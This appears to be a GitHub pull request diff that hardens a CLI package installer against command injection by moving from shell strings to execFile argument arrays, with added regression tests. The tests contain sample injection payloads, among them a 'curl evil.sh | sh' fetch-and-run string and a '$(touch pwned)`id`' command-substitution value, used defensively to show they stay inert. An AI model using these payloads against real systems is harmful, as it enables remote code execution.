Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
75 changes: 75 additions & 0 deletions src/pkg.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
import { describe, it } from "node:test";
import assert from "node:assert/strict";
import { parsePkgSpec, buildInstallSpec } from "./pkg.js";

describe("parsePkgSpec", () => {
it("parses ecosystem:name@version", () => {
assert.deepEqual(parsePkgSpec("npm:express@4.18.0"), {
ecosystem: "npm",
name: "express",
version: "4.18.0",
});
});

it("parses a scoped package with a version", () => {
assert.deepEqual(parsePkgSpec("npm:@socketsecurity/cli@1.0.0"), {
ecosystem: "npm",
name: "@socketsecurity/cli",
version: "1.0.0",
});
});

it("parses a name without a version", () => {
assert.deepEqual(parsePkgSpec("cargo:ripgrep"), {
ecosystem: "cargo",
name: "ripgrep",
version: undefined,
});
});

it("returns null when there is no ecosystem prefix", () => {
assert.equal(parsePkgSpec("express"), null);
});
});

describe("buildInstallSpec — no-shell argv contract", () => {
it("builds (bin, args[]) for each ecosystem, never a shell string", () => {
assert.deepEqual(buildInstallSpec({ ecosystem: "npm", name: "express", version: "4.18.0" }), {
bin: "npm",
args: ["install", "express@4.18.0"],
});
assert.deepEqual(buildInstallSpec({ ecosystem: "pip", name: "requests", version: "2.31.0" }), {
bin: "pip",
args: ["install", "requests==2.31.0"],
});
assert.deepEqual(buildInstallSpec({ ecosystem: "docker", name: "redis" }), {
bin: "docker",
args: ["pull", "redis:latest"],
});
});

it("returns null for an unknown ecosystem", () => {
assert.equal(buildInstallSpec({ ecosystem: "haxe", name: "whatever" }), null);
});

it("keeps shell metacharacters in the name as a SINGLE argv element (injection inert)", () => {
// A malicious version that would be catastrophic under a shell:
// `npm install express@1; curl evil.sh | sh`
// Under execFile the entire string is one argv element — the package
// manager simply rejects it; no second command can run.
const spec = parsePkgSpec("npm:express@1; curl evil.sh | sh");
assert.ok(spec);
const install = buildInstallSpec(spec);
assert.ok(install);
assert.equal(install.bin, "npm");
assert.equal(install.args.length, 2, "must not split into extra argv elements");
assert.equal(install.args[0], "install");
assert.equal(install.args[1], "express@1; curl evil.sh | sh");
});

it("treats backtick / command-substitution names as one inert argv element", () => {
const install = buildInstallSpec({ ecosystem: "cargo", name: "$(touch pwned)`id`" });
assert.ok(install);
assert.deepEqual(install.args, ["install", "$(touch pwned)`id`"]);
});
});
81 changes: 52 additions & 29 deletions src/pkg.ts
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,8 @@
* kit pkg cargo:ripgrep
*/

import { exec as execCb } from "node:child_process";
import { promisify } from "node:util";
import { runTriage, type TriageType } from "./triage.js";

const execAsync = promisify(execCb);
import { execFileNoThrow } from "./utils/execFileNoThrow.js";

export interface PkgSpec {
ecosystem: string;
Expand All @@ -29,44 +26,68 @@ export interface PkgResult {
output: string;
}

/**
* Each ecosystem maps to a `(bin, args[])` builder — NEVER a shell string.
* The package name/version are user-supplied (`kit pkg npm:<name>@<ver>`), so
* they must reach the package manager as discrete argv elements: passed through
* `execFile` they cannot break out into a second command, even if they contain
* `;`, `|`, `$(…)`, backticks, or spaces. (This is the no-shell discipline the
* rest of kit already follows via `execFileNoThrow`.)
*/
type InstallSpec = { bin: string; args: string[] };
const ECOSYSTEM_MAP: Record<
string,
{ triageType: TriageType; installCmd: (name: string, version?: string) => string }
{ triageType: TriageType; install: (name: string, version?: string) => InstallSpec }
> = {
npm: {
triageType: "npm",
installCmd: (name, ver) => (ver ? `npm install ${name}@${ver}` : `npm install ${name}`),
install: (name, ver) => ({ bin: "npm", args: ["install", ver ? `${name}@${ver}` : name] }),
},
"npm-g": {
triageType: "npm",
installCmd: (name, ver) => (ver ? `npm install -g ${name}@${ver}` : `npm install -g ${name}`),
install: (name, ver) => ({
bin: "npm",
args: ["install", "-g", ver ? `${name}@${ver}` : name],
}),
},
pnpm: {
triageType: "npm",
installCmd: (name, ver) => (ver ? `pnpm add ${name}@${ver}` : `pnpm add ${name}`),
install: (name, ver) => ({ bin: "pnpm", args: ["add", ver ? `${name}@${ver}` : name] }),
},
pip: {
triageType: "pip",
installCmd: (name, ver) => (ver ? `pip install ${name}==${ver}` : `pip install ${name}`),
install: (name, ver) => ({ bin: "pip", args: ["install", ver ? `${name}==${ver}` : name] }),
},
brew: {
triageType: "repo",
installCmd: (name) => `brew install ${name}`,
install: (name) => ({ bin: "brew", args: ["install", name] }),
},
docker: {
triageType: "docker",
installCmd: (name, ver) => (ver ? `docker pull ${name}:${ver}` : `docker pull ${name}:latest`),
install: (name, ver) => ({
bin: "docker",
args: ["pull", ver ? `${name}:${ver}` : `${name}:latest`],
}),
},
go: {
triageType: "repo",
installCmd: (name) => `go install ${name}`,
install: (name) => ({ bin: "go", args: ["install", name] }),
},
cargo: {
triageType: "repo",
installCmd: (name) => `cargo install ${name}`,
install: (name) => ({ bin: "cargo", args: ["install", name] }),
},
};

/**
* Build the `(bin, args[])` for a parsed spec, or null for an unknown ecosystem.
* Pure — exported so the no-shell argv contract is regression-tested.
*/
export function buildInstallSpec(spec: PkgSpec): InstallSpec | null {
const eco = ECOSYSTEM_MAP[spec.ecosystem];
return eco ? eco.install(spec.name, spec.version) : null;
}

/**
* Parse "npm:express@4.18.0" → { ecosystem: "npm", name: "express", version: "4.18.0" }
*/
Expand Down Expand Up @@ -107,16 +128,19 @@ export function parsePkgSpec(input: string): PkgSpec | null {
* Get GitHub repo URL for brew formulas
*/
async function getBrewRepoUrl(name: string): Promise<string | null> {
const res = await execFileNoThrow("brew", ["info", "--json=v2", name], { timeout: 15_000 });
if (!res.ok) {
// brew not available or formula not found — try GitHub search
return `https://github.com/search?q=${encodeURIComponent(name)}`;
}
try {
const { stdout } = await execAsync(`brew info --json=v2 ${name} 2>/dev/null`);
const data = JSON.parse(stdout);
const data = JSON.parse(res.stdout);
const formula = data.formulae?.[0] || data.casks?.[0];
const homepage = formula?.homepage || "";
if (homepage.includes("github.com")) return homepage;
return null;
} catch {
// brew not available or formula not found — try GitHub search
return `https://github.com/search?q=${name}`;
return `https://github.com/search?q=${encodeURIComponent(name)}`;
}
}

Expand Down Expand Up @@ -162,22 +186,21 @@ export async function installPkg(spec: PkgSpec): Promise<PkgResult> {
}

// Step 2: Install
const cmd = eco.installCmd(spec.name, spec.version);
try {
const { stdout, stderr } = await execAsync(cmd, { timeout: 300_000 });
const { bin, args } = eco.install(spec.name, spec.version);
const display = `${bin} ${args.join(" ")}`;
const res = await execFileNoThrow(bin, args, { timeout: 300_000 });
if (res.ok) {
return {
spec,
triagePassed: true,
installed: true,
output: `✅ Triage passed\n✅ Installed: ${cmd}\n${stdout}${stderr ? "\n" + stderr : ""}`,
};
} catch (error: unknown) {
const err = error as { stdout?: string; stderr?: string; message?: string };
return {
spec,
triagePassed: true,
installed: false,
output: `✅ Triage passed\n❌ Install failed: ${cmd}\n${err.stderr || err.message || ""}`,
output: `✅ Triage passed\n✅ Installed: ${display}\n${res.stdout}${res.stderr ? "\n" + res.stderr : ""}`,
};
}
return {
spec,
triagePassed: true,
installed: false,
output: `✅ Triage passed\n❌ Install failed: ${display}\n${res.stderr || res.stdout || ""}`,
};
}
Loading